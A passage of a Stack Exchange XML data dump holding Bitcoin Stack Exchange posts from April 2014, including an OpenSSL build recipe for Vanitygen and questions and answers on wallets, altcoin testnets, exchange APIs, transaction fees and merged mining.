&lt;strong&gt;REPLACE openssl-1.0.1g WITH THE LATEST VERSION OF OPENSSL.&lt;/strong&gt; 1.0.1g may have security flaws that are patched in future versions - it is current as of this writing, but probably will not be in six months.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mkdir ~/devel&#xA;cd ~/devel&#xA;&#xA;wget http://openssl.org/source/openssl-1.0.1g.tar.gz&#xA;tar xfz openssl-1.0.1g.tar.gz&#xA;cd openssl-1.0.1g&#xA;&#xA;./config --prefix=/opt/openssl-1.0.1g zlib-dynamic shared&#xA;make&#xA;&#xA;sudo make install_sw&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15092" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2014-08-16T01:37:53.307" Title="How do I use Vanitygen on Fedora 20? (openssl restrictions)" Tags="|linux|vanitygen|ssl|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24365" PostTypeId="1" AcceptedAnswerId="24381" CreationDate="2014-04-06T21:32:35.833" Score="5" ViewCount="887" Body="&lt;p&gt;Any ideas for finding the number of Bitcoin nodes vs the number of Bitcoin pools?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="13312" LastActivityDate="2014-04-07T11:05:39.987" Title="Does getaddr.bitnodes.io find all Bitcoin nodes or only one node per mining pool?" Tags="|nodes|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24366" PostTypeId="2" ParentId="24318" CreationDate="2014-04-06T22:20:11.843" Score="0" Body="&lt;p&gt;You should look up Warren Buffet's reasons for not investing in Bitcoin.. something better could come along and take over and Bitcoin is still an infant.  Personally, I'm convinced that something better is Nxt.  It's written from the ground up, it's proof of stake which is something like 1000 times more energy efficient and 500 times as cost efficient and more secure, with almost instant transaction confirmations coming soon.  All of which is important.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are other reasons, such as dogecoin having long term fixed inflation making it better for the long run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And just in general, it's better to have a few alternative currencies, so that if say the Bitcoin miners decide to gang up, they can't take out the world's economy.  Also, seems very unlikely and Bitcoin has stood the test of time, but let's say a bug was found in the coin itself.. again, it's good to have alternatives.&lt;/p&gt;&#xA;" OwnerUserId="13312" LastActivityDate="2014-04-06T22:20:11.843" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24367" PostTypeId="2" ParentId="18011" CreationDate="2014-04-06T22:42:07.787" Score="0" Body="&lt;p&gt;One thing that could have happened is that you got into sync on the wrong fork of the network. This happens sometimes - they make a new fork of the network, and if you don't upgrade your client before you hit a certain block your wallet is screwed. Almost happened to my DogeCoin wallet once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make sure you copied the wallet.dat correctly, on your Mac, go to Finder. Hit &lt;kbd&gt;⇧&lt;/kbd&gt;&lt;kbd&gt;⌘&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt;. Enter &lt;code&gt;~/Library/Application Support/Bitcoin&lt;/code&gt;. Take the file &lt;code&gt;wallet.dat&lt;/code&gt; and copy it onto a memory stick. On your Windows box, make sure Bitcoin is not running, hit &lt;kbd&gt;win&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt; and type in &lt;code&gt;explorer %APPDATA%\Bitcoin&lt;/code&gt;. Delete everything in there, and copy in your &lt;code&gt;wallet.dat&lt;/code&gt;. Launch up the latest version of Bitcoin, wait for it to get in sync, and then you should have your coins back, or at least most of them, depending on how many confirmations the transactions originally had.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that doesn't work, your wallet is probably screwed. Bad luck :-(&lt;/p&gt;&#xA;" OwnerUserId="14453" LastActivityDate="2014-04-06T22:42:07.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24377" PostTypeId="2" ParentId="23742" CreationDate="2014-04-07T09:44:27.710" Score="0" Body="&lt;p&gt;If it's just for bitcoins, have a look at &lt;a href=&quot;http://bitcoincharts.com/about/markets-api/&quot; rel=&quot;nofollow&quot;&gt;bitoincharts&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14581" LastActivityDate="2014-04-07T09:44:27.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24378" PostTypeId="2" ParentId="23212" CreationDate="2014-04-07T09:46:38.457" Score="0" Body="&lt;p&gt;Have a look at &lt;a href=&quot;http://bitcoincharts.com/about/markets-api/&quot; rel=&quot;nofollow&quot;&gt;bitcoincharts&lt;/a&gt; for historical BTC data&lt;/p&gt;&#xA;" OwnerUserId="14581" LastActivityDate="2014-04-07T09:46:38.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24381" PostTypeId="2" ParentId="24365" CreationDate="2014-04-07T11:05:39.987" Score="1" Body="&lt;p&gt;getaddr.bitnodes.io shows only the reachable Bitcoin nodes in the network. These are nodes that make up the core data exchanges within the P2P network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is non-trivial distinction between mining and non-mining nodes at the protocol level among the network participants. Although having observed the first announcement of a block from a node may be a good indicator of a mining node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is impossible to tell the full size of the network that includes nodes behind firewall, or nodes that only accept connection from certain IP address/netblock, or nodes that have simply hit the set max. connections.&lt;/p&gt;&#xA;" OwnerUserId="11412" LastActivityDate="2014-04-07T11:05:39.987" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24382" PostTypeId="1" AcceptedAnswerId="24386" CreationDate="2014-04-07T12:02:06.093" Score="2" ViewCount="436" Body="&lt;p&gt;Bitcoin can be run on a public testnet (by using a different port than the real Bitcoin network). This is very useful for development, because you can test software handling Bitcoin without handling actual value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the situation for Bitcoin alternatives? Is there a testnet for most (or all) altcoins? Which altcoins have such a testnet feature?&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastActivityDate="2017-09-22T18:40:48.683" Title="Which altcoins have testnets?" Tags="|development|testnet|altcoin|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24383" PostTypeId="1" AcceptedAnswerId="24384" CreationDate="2014-04-07T14:25:36.693" Score="15" ViewCount="22813" Body="&lt;p&gt;How can I create a new wallet on Bitcoin Core (Bitcoin QT)? I forgot my old password, so I can't create transactions using the old wallet. I don't have money on my old wallet, I just need to create new wallet without the forgotten password.&lt;/p&gt;&#xA;" OwnerUserId="14998" LastEditorUserId="5406" LastEditDate="2014-04-09T10:28:32.990" LastActivityDate="2022-02-22T19:47:01.500" Title="How can I create a new wallet on Bitcoin Core?" Tags="|bitcoin-core|client|wallet.dat|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24384" PostTypeId="2" ParentId="24383" CreationDate="2014-04-07T14:30:48.143" Score="14" Body="&lt;p&gt;Bitcoin Core will create a new wallet if it cannot find the &lt;code&gt;wallet.dat&lt;/code&gt; in the Bitcoin Core folder.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Close Bitcoin Core.&lt;/li&gt;&#xA;&lt;li&gt;If the wallet still has a balance, or addresses from the wallet were given out, &lt;strong&gt;back the old &lt;code&gt;wallet.dat&lt;/code&gt; up&lt;/strong&gt;: Move it to a different directory or rename it. If you are sure that it was never used, you may delete it instead.&lt;/li&gt;&#xA;&lt;li&gt;Restart Bitcoin Core. A new wallet will be created.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you don't know where to find the &lt;code&gt;wallet.dat&lt;/code&gt;, check here: &lt;a href=&quot;https://bitcoin.stackexchange.com/q/4006/5406&quot;&gt;Where is the data folder for bitcoin-qt?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2015-08-17T09:09:16.197" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24386" PostTypeId="2" ParentId="24382" CreationDate="2014-04-07T14:47:18.527" Score="2" Body="&lt;p&gt;Most mine-able coins are essentially clones of the bitcoin code and therefore have testnet. Many alt-coins do not have very active testnets so finding another peer on this network can take time, but given enough patience, your alt-coin testnet node will find another connection. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are impatient you can google for &quot;testnet addnode&quot; and include the coin you are looking for; this will (hopefully) find forum posts of people who have setup/found the IP address of a testnet in your desired coin, adding this to your configuration file will make your client attempt to connect to this IP on startup. If you need help with a particular coin, let me know :)&lt;/p&gt;&#xA;" OwnerUserId="12835" LastActivityDate="2014-04-07T14:47:18.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24387" PostTypeId="1" CreationDate="2014-04-07T15:06:28.960" Score="5" ViewCount="1690" Body="&lt;p&gt;I would like to be notified of changes to any of my many wallet address as soon as they happen and then programmatically take action. I have been using &lt;a href=&quot;https://bitcointalk.org/index.php?topic=203438.0&quot; rel=&quot;nofollow&quot;&gt;wallet notify&lt;/a&gt; but this has been giving me really inconsistent behavior and I have found that I cannot rely on it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm in search of another solution, and was thinking that I could monitor the blockchain for any changes to addresses I own. Is there some known way to do this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other suggestions on how to solve this problem are also appreciated. &lt;/p&gt;&#xA;" OwnerUserId="4241" LastEditorUserId="4241" LastEditDate="2014-04-10T18:32:29.120" LastActivityDate="2014-06-23T18:52:19.567" Title="Listening for changes to my own wallet in the blockchain" Tags="|blockchain|bitcoind|wallet-notify|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24389" PostTypeId="1" CreationDate="2014-04-07T15:24:28.557" Score="1" ViewCount="389" Body="&lt;p&gt;I've been logging data from BTC-E for a couple of months now and am writing my own charting app for personal use. I've been stumped for a while now on what the difference between &quot;vol&quot; and &quot;vol_cur&quot; is and how to determine the volume for any given interval I want (1min, 60min, 2month, etc):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://btc-e.com/api/2/ltc_usd/ticker&quot; rel=&quot;nofollow&quot;&gt;https://btc-e.com/api/2/ltc_usd/ticker&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;ticker&quot;:{&quot;high&quot;:11.976,&quot;low&quot;:11.35,&quot;avg&quot;:11.663,&quot;vol&quot;:2147898.06418,&quot;vol_cur&quot;:184074.26807,&quot;last&quot;:11.35,&quot;buy&quot;:11.35,&quot;sell&quot;:11.32,&quot;updated&quot;:1396883318,&quot;server_time&quot;:1396883319}}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Subtracting the &quot;vol&quot; values from the end of my interval to the start sometimes yields negative numbers:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;id |   timestamp_open    |   timestamp_close   |   open   |  close  |   high   |   low    |    volume&#xA;----+---------------------+---------------------+----------+---------+----------+----------+--------------&#xA;2 | 2014-02-15 18:00:00 | 2014-02-15 18:30:00 | 16.05385 | 15.9761 | 16.0675  | 15.9761  | -62044.90371&#xA;3 | 2014-02-15 18:30:00 | 2014-02-15 19:00:00 | 15.9761  | 16.049  | 16.05385 | 15.94642 | -40416.73599&#xA;4 | 2014-02-15 19:00:00 | 2014-02-15 19:30:00 | 15.94652 | 16.002  | 16.05385 | 15.935   | 32560.39743&#xA;5 | 2014-02-15 19:30:00 | 2014-02-15 20:00:00 | 16.002   | 16.05   | 16.05    | 16       | 31619.54125&#xA;6 | 2014-02-15 20:00:00 | 2014-02-15 20:30:00 | 16.03175 | 15.999  | 16.0532  | 15.9     | -10595.7155&#xA;7 | 2014-02-15 20:30:00 | 2014-02-15 21:00:00 | 15.999   | 15.997  | 15.999   | 15.94    | 61109.18234&#xA;8 | 2014-02-15 21:00:00 | 2014-02-15 21:30:00 | 15.997   | 16.132  | 16.25    | 15.997   | -33001.28287&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The price did not close down so it is not representative of volume indicative of selling; how do I properly calculate the volume for an interval?&lt;/p&gt;&#xA;" OwnerUserId="15109" LastEditorUserId="2306" LastEditDate="2015-01-26T02:53:52.340" LastActivityDate="2017-05-02T15:53:04.140" Title="BTC-E API and determining volume for any time interval" Tags="|api|btce|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24391" PostTypeId="2" ParentId="24389" CreationDate="2014-04-07T16:42:45.870" Score="2" Body="&lt;p&gt;I would not rely on vol or vol_cur as they are computing data in a way you do not want from data which is available to you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My recommendation would be to save the data of individual trades using btc-e API function TradeHistory. You can run a loop which would take the first result returned and using the timestamp as the parameter &quot;end&quot; for the next API call. Be aware that you will receive this and other transactions with the same timestamp in duplicate (so be sure to check the record doesn't exist in your db before adding it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way, you can write your own scripts to get your own averages and volumes over any time period you want :)&lt;/p&gt;&#xA;" OwnerUserId="12835" LastActivityDate="2014-04-07T16:42:45.870" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24393" PostTypeId="1" AcceptedAnswerId="24399" CreationDate="2014-04-07T18:26:08.827" Score="7" ViewCount="8868" Body="&lt;p&gt;I've managed to import a private key, but how to import an entire wallet?&lt;/p&gt;&#xA;" OwnerUserId="15114" LastActivityDate="2017-12-29T21:28:02.520" Title="How to import entire Armory wallet into Electrum?" Tags="|wallet|electrum|armory|private-key-export|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24394" PostTypeId="1" CreationDate="2014-04-07T18:35:37.313" Score="1" ViewCount="830" Body="&lt;p&gt;Which wallet applications lets you send to multiple addresses from one output? I'm looking to build a physical bitcoin kiosk faucet and was looking to see how I would avoid miner fees if i combined all the faucet output addresses into just 1 transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure you can do it with bitcoin core, but was wondering if other wallet apps like blockchain.info and others can do the same?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And what would the command be to send a transaction with multiple output addresses for bitcoin core?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2014-07-09T12:08:58.557" Title="Which wallet application lets you send to multiple output addresses with just 1 fee?" Tags="|bitcoin-core|address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24398" PostTypeId="1" AcceptedAnswerId="24400" CreationDate="2014-04-07T23:25:20.750" Score="1" ViewCount="150" Body="&lt;p&gt;I am involved with Funoon (&lt;a href=&quot;http://funoonfoundation.org&quot; rel=&quot;nofollow&quot;&gt;funoonfoundation.org&lt;/a&gt;), a non-profit working to organise informal learning spaces. These informal spaces are basically physical spaces where learning happens on a peer-to-peer basis, guided by a mentor/ tutor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are brainstorming on how to incentivise talented people to come in and spend an hour or so weekly with a learning group. We can't pay them (at least not to start with), and without a solid incentive, its hard to get things going.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I am wondering, if its a possibility to create a crypto-currency that solely exists to pay out a small chunk to anyone who comes along to mentor/ tutor at a learning space. My knowledge on how a crypto-currency works is quite limited, so I am looking to get enlightened  on this.&lt;/p&gt;&#xA;" OwnerUserId="15116" LastEditorUserId="15116" LastEditDate="2014-04-08T02:44:12.860" LastActivityDate="2014-04-08T02:44:12.860" Title="A crypto-currency for supporting informal education?" Tags="|currencies|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24399" PostTypeId="2" ParentId="24393" CreationDate="2014-04-07T23:48:42.987" Score="0" Body="&lt;p&gt;The best way to switch to Electrum is to send all the bitcoins you have on your old wallet to one of the addresses on your Electrum wallet. This way you'll have all your bitcoins secured with your seed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://electrum.org/tutorials.html#switching-to-electrum&quot; rel=&quot;nofollow&quot;&gt;https://electrum.org/tutorials.html#switching-to-electrum&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2467" LastActivityDate="2014-04-07T23:48:42.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24400" PostTypeId="2" ParentId="24398" CreationDate="2014-04-08T00:47:52.213" Score="3" Body="&lt;p&gt;It is possible. However, there are a few difficulties. Normally, cryptocurrencies are based on a proof-of-work (PoW) scheme which involves computing data which is hard to find but easy to verify. A collision-resistant hash function such as SHA-256 or Scrypt is an example of this, and is used as PoW for a majority of existing cryptocurrencies. Unfortunately, there isn't really a cryptographic way to verify that someone has been legitimately tutoring for a period of time, so the currency will have to be issued by a central authority (i.e. you).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that you will have to hold a significant portion (perhaps all) of the coins in the beginning (in cryptocurrency circles, this is called a &quot;premine&quot;). If you hold all the coins, then you would be well-advised to choose proof-of-stake (PoS), where people leave their wallets open and are rewarded coins at a rate dependent on their current holdings (called &quot;minting&quot;), which incentivizes people to secure the network. (Otherwise, there would be no miners to process transactions since there's no incentive to do so, and the coin would be dead.) Alternatively, you can premine something like 10% or 50% of the coins, leaving the rest to be mined just like Bitcoin or Litecoin on a decreasing schedule. Here PoW miners are willing to secure the network for you because of the block rewards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue with premined cryptocurrencies is that many people don't trust a single entity with all those initial coins, so they are unlikely to gain much value. Thus your tutors might not be willing to work for essentially worthless coins. And besides, since you're going to have a lot of central control due to your premine, you might as well just create an in-house currency, kept track of on your servers, rather than a cryptocurrency. Maybe eventually have a online store where users can buy stuff using that currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another alternative is to ask for Bitcoin donations (possibly from the students), and then pay tutors with that (or even have students tip tutors directly).&lt;/p&gt;&#xA;" OwnerUserId="13700" LastActivityDate="2014-04-08T00:47:52.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24401" PostTypeId="1" CreationDate="2014-04-08T01:56:06.763" Score="1" ViewCount="537" Body="&lt;p&gt;Let me preface this by saying that I'm a novice, but this is my rough understanding of how Bitcoin's blockchain works.  (This is largely based on blog posts like &lt;a href=&quot;http://blog.tyrannyofthemouse.com/2011/07/bitcoin-overview-proofs-and-common.html&quot; rel=&quot;nofollow&quot;&gt;this one&lt;/a&gt;.)  If person A wants to transfer a certain amount of Bitcoin to person B, he signs a message authorizing the transfer using his private key.  A minor can examine the message, and using a program that performs a certain mathematical operation, can verify that person A really did sign the message.  But there's the issue of, how do we know that the miner really did do the computational work needed to verify the signature?  This is solved by something called a &quot;proof-of-work&quot; protocol, by which the miner can demonstrate that he did the verification computation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was reminded of all this when hearing about the notion of &quot;external state contracts&quot;, a type of Smart Contract described briefly at the 35 minute mark of &lt;a href=&quot;http://youtu.be/3t1jAsPVQ3g?t=34m54s&quot; rel=&quot;nofollow&quot;&gt;this video&lt;/a&gt; and in more detail in &lt;a href=&quot;https://en.bitcoin.it/wiki/Contracts#Example_4%3a_Using_external_state&quot; rel=&quot;nofollow&quot;&gt;this Bitcoin wiki article&lt;/a&gt;.  In an external state contract,  certain disputes about objective features of the world can be resolved automatically, instead of trusting a third-party human arbitrator to decide fairly.  For instance, contract could specify that in the event of a dispute about a sports bet, a computer program (with source code specified in the contract) would be automatically run that consults a sports database, determines who won the bet, and the bitcoin is automatically transferred accordingly.  But the Bitcoin wiki article describes an issue with this: how do you determine that the computer program that's supposed to resolve the dispute has actually been run, and if so whether the output of the program is being reported fairly by the computer that ran it?  The article suggests using one or more &quot;Trusted Computers&quot; known as oracles, which both parties trust to run the code properly and not misrepresent the output.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it occurs to me that the issue with external state contracts is analogous to the issue I described above that's solved with the blockchain.  So why can't you solve it the same way in this case?  That is to say, just as proof-of-work protocols can be used to demonstrate that a miner ran the code that determines whether a signature is authentic, why can't you make miners run dispute-resolution code for external state contracts, and then determine whether they really ran the code using proof-of-work protocols?  That would eliminate the need for a Trusted Computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any significant difference between the two cases that would make this unworkable?  Has this been done already?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank You in Advance.&lt;/p&gt;&#xA;" OwnerUserId="13921" LastEditorUserId="13921" LastEditDate="2014-04-08T12:26:53.810" LastActivityDate="2014-07-17T21:20:23.423" Title="Can the Bitcoin blockchain eliminate the need for Trusted Computing in Smart Contracts?" Tags="|blockchain|trust|contracts|proof-of-work|oracle|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24402" PostTypeId="1" CreationDate="2014-04-08T01:58:28.983" Score="4" ViewCount="451" Body="&lt;p&gt;Given the rapidly rising difficulty level and electricity consumption, is the protocol sustainable as-is, and if not what is &lt;em&gt;most likely&lt;/em&gt; to happen in the evolution of BTC?&lt;/p&gt;&#xA;" OwnerUserId="14236" LastEditorUserId="14236" LastEditDate="2023-10-23T05:05:36.640" LastActivityDate="2023-10-28T15:46:10.997" Title="Mining costs, impact on long term viability of BTC" Tags="|transaction-fees|mining-profitability|energy-consumption|" AnswerCount="4" CommentCount="0" ClosedDate="2023-10-24T14:54:32.697" ContentLicense="CC BY-SA 4.0" />
  <row Id="24405" PostTypeId="1" CreationDate="2014-04-08T04:09:55.930" Score="3" ViewCount="318" Body="&lt;p&gt;So, namecoin supports merged mining against bitcoin. My understanding of the merged mining protocol is that basically miners can use the primary coin's POW solution to solve the aux coin's block. It's possible for a primary coin POW solution to not be difficult enough for the primary coin, but be valid for the secondary coin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, given this, what would stop a malicious person from working on forging a set of primary blocks, such that they would meet the aux difficulty. They would set their blocks up to be a very high height so they have plenty of time to mine the blocks at the target difficulty (since they don't have enough power to do it in realtime of course). And then, when they need to control of the blockchain, they would submit all of these forged blocks at the proper time, messing up target block times and allowing them to possibly double spend.. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is this prevented? &lt;/p&gt;&#xA;" OwnerUserId="9512" LastEditorUserId="5406" LastEditDate="2016-01-22T22:27:22.730" LastActivityDate="2016-01-22T22:27:22.730" Title="How does namecoin and other merge-mined coins prevent pre-mine attacks?" Tags="|namecoin|attack|merged-mining|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24406" PostTypeId="1" CreationDate="2014-04-08T04:52:34.200" Score="5" ViewCount="2943" Body="&lt;p&gt;I am using sendtoaddress API call. &#xA;The problem is that I need to specify amount that includes fees.&#xA;For example, if I withdraw 1 btc, I need bitcoind to deduct fees from that amount and in example to send 0.999 as transaction amount and 0.001 as fee (or any other fee amount that recommended for this transaction)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please, help and tell if that possible to achieve such result.&lt;/p&gt;&#xA;" OwnerUserId="15119" LastActivityDate="2017-08-10T10:34:31.030" Title="Deduct fee from transaction amount" Tags="|transaction-fees|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24407" PostTypeId="2" ParentId="24406" CreationDate="2014-04-08T06:43:29.493" Score="1" Body="&lt;p&gt;Considering that whatever program (or human) you use to call the API will be able to perform a simple addition or subtraction, this boils down to determining the exact fee to be used. The &lt;code&gt;getinfo&lt;/code&gt; (returning the current default fee as in field &lt;code&gt;paytxfee&lt;/code&gt;) and &lt;code&gt;settxfee&lt;/code&gt; (for changing it) API calls should do that for you. Be careful about details---&lt;a href=&quot;https://blockchain.info/api/json_rpc_api&quot; rel=&quot;nofollow&quot;&gt;the blockchain.info API reference&lt;/a&gt; warns that the changes you make via &lt;code&gt;settxfee&lt;/code&gt; are only valid for the next 24 hours. I have not checked if that information is up-to-date, and if it indeed refers to the bitcoin core behavior or merely to blockchain.info's &quot;Bitcoind compatible&quot; API.&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastActivityDate="2014-04-08T06:43:29.493" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24408" PostTypeId="2" ParentId="24387" CreationDate="2014-04-08T07:39:29.693" Score="0" Body="&lt;p&gt;I'm working on this problem in my open source project &lt;a href=&quot;https://github.com/richardkiss/pycoinnet&quot; rel=&quot;nofollow&quot;&gt;https://github.com/richardkiss/pycoinnet&lt;/a&gt;. It ain't quite there yet, but I have a prototype working in the lab.&lt;/p&gt;&#xA;" OwnerUserId="12919" LastActivityDate="2014-04-08T07:39:29.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24409" PostTypeId="2" ParentId="5021" CreationDate="2014-04-08T08:35:02.380" Score="0" Body="&lt;p&gt;You can use &lt;a href=&quot;http://www.google.co.il/url?sa=t&amp;amp;rct=j&amp;amp;q=&amp;amp;esrc=s&amp;amp;source=web&amp;amp;cd=1&amp;amp;cad=rja&amp;amp;uact=8&amp;amp;ved=0CCkQFjAA&amp;amp;url=http://casascius.wordpress.com/2013/01/26/bitcoin-address-utility/&amp;amp;ei=irRDU8utOuGGywPLuYCgCA&amp;amp;usg=AFQjCNE0eJMElanpEKLxdsOgYuD-BbNnIA&amp;amp;sig2=4N3cUwwb_t89pZlNkVetrw&amp;amp;bvm=bv.64367178,d.bGE&quot; rel=&quot;nofollow&quot;&gt;Casascius address utility&lt;/a&gt; to do various manipulations with keys, hashes and addresses.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2014-04-08T08:35:02.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24410" PostTypeId="1" CreationDate="2014-04-08T09:16:36.263" Score="2" ViewCount="192" Body="&lt;p&gt;As far as I see there are currently two methods of getting the sender's address in a Bitcoin transaction:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Look up the input transaction and read the corresponding output address there (like this: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3896/how-to-findout-the-sender-of-a-transaction&quot;&gt;How to findout the sender of a transaction&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Convert the public key in the scriptSig to the address (like this: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/7838/why-does-gettransaction-report-me-only-the-receiving-address&quot;&gt;Why does gettransaction report me only the receiving address?&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Is one of those preferable over the other one?&lt;/p&gt;&#xA;" OwnerUserId="15123" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2014-04-14T16:34:06.640" Title="What is the best method of getting the originating address of Bitcoin transaction?" Tags="|transactions|address|api|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24411" PostTypeId="2" ParentId="24410" CreationDate="2014-04-08T10:21:01.047" Score="1" Body="&lt;p&gt;scriptSig contains a public key that belongs the redeemer of the output transaction and proves the creator is allowed to redeem the outputs value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you want to check the referenced output if you're looking for the originating address.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2014-04-08T10:21:01.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24412" PostTypeId="2" ParentId="24402" CreationDate="2014-04-08T11:17:37.043" Score="-1" Body="&lt;p&gt;Reducing the number of miners will reduce the cost/transaction. As the reward decreases the number of miners will also decrease. In the near term (2-4 years) ASIC increases in speed and reduction in power will stabilize. As mining becomes less profitable there will be fewer people mining thus stabilizing the transaction cost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One needs to look at BTC from the standpoint of a currency, not from the standpoint of a miner--looking to get rich mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yeah, I mine.&lt;/p&gt;&#xA;" OwnerUserId="10577" LastActivityDate="2014-04-08T11:17:37.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24413" PostTypeId="1" CreationDate="2014-04-08T11:27:11.767" Score="2" ViewCount="842" Body="&lt;p&gt;I am using the Blockchain.info API for an online shopping website. I have a problem in my Receive API: Payments from other wallets are working fine. Also, payments done by copying the address and sending payment to that address is working fine, but when a user sends payment from another Blockchain.info wallet using QR code (scanning the QR code via Blockchain App for Android), the index.php page remains as it is. Neither the .js file is called, nor the callback.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I still be notified of such payments?&lt;/p&gt;&#xA;" OwnerUserId="15125" LastEditorUserId="15125" LastEditDate="2014-04-15T05:27:15.940" LastActivityDate="2016-01-17T13:32:25.443" Title="No update on API when receiving payments from other Blockchain.info wallets" Tags="|api|blockchain.info|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
